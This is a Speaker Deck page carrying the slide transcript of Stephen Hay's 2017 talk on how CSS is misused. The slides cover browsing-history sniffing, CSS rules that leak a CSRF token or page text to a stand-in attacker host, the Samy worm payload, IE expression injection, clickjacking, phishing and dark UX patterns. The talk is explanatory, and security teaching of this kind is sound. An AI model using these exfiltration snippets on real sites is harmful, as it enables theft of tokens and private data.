Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.7k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
180
The Tail and Its Dog
stephenhay
1
310
From Deception to Clarity
stephenhay
4
660
Sculpting Text
stephenhay
4
920
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
520
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
560
Flexbox: One Giant Leap for Web Layout
stephenhay
6
410
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
940
Flexbox: One Giant Leap for Web Layout
stephenhay
5
180
Other Decks in Design
See All in Design
AIで加速するアクセシビリティのこれから
magi1125
3
530
誰もがAIエージェントを"操作"したがる〜AIエージェントに求められるUX〜
ikeyatsu
2
1.8k
Мышление дизайнера историями. Как текстовые модели человеческого поведения помогают проектировать
ashapiro
0
260
Design Studio Deck | インクルーシブデザインスタジオCULUUM
culumu
3
1.3k
ポートフォリオ_藤田歩希(ほまれ)
akifujita_homarecreate
0
590
プロジェクト内でデザイナーができること 日経電子版アプリ機能開発「For You」#nikkei_tech_talk
nikkei_engineer_recruiting
8
3.9k
組織で取り組むアクセシビリティのはじめ方
masakiohsumi
0
130
なぜプレイドにデザインエンジニアが必要だったのか?
t32k
0
500
How to get a Tiger to Tulsa
mcduckyart
0
110
共通認識のためのユーザビリティテスト by AIエージェント - Accelerating Value Delivery
gakuoya
1
680
The Golden Whitney
ohtristanart
PRO
0
500
ブランドパーソナリティ言語化における生成AI活用の実際
h0sa
0
130
Featured
See All Featured
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
8
790
Fight the Zombie Pattern Library - RWD Summit 2016
marcelosomers
233
17k
Put a Button on it: Removing Barriers to Going Fast.
kastner
60
3.9k
Intergalactic Javascript Robots from Outer Space
tanoku
271
27k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
30
2.1k
Designing for Performance
lara
609
69k
Scaling GitHub
holman
459
140k
Optimising Largest Contentful Paint
csswizardry
37
3.3k
Raft: Consensus for Rubyists
vanstee
140
7k
Six Lessons from altMBA
skipperchong
28
3.8k
Rebuilding a faster, lazier Slack
samanthasiow
82
9.1k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
229
22k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens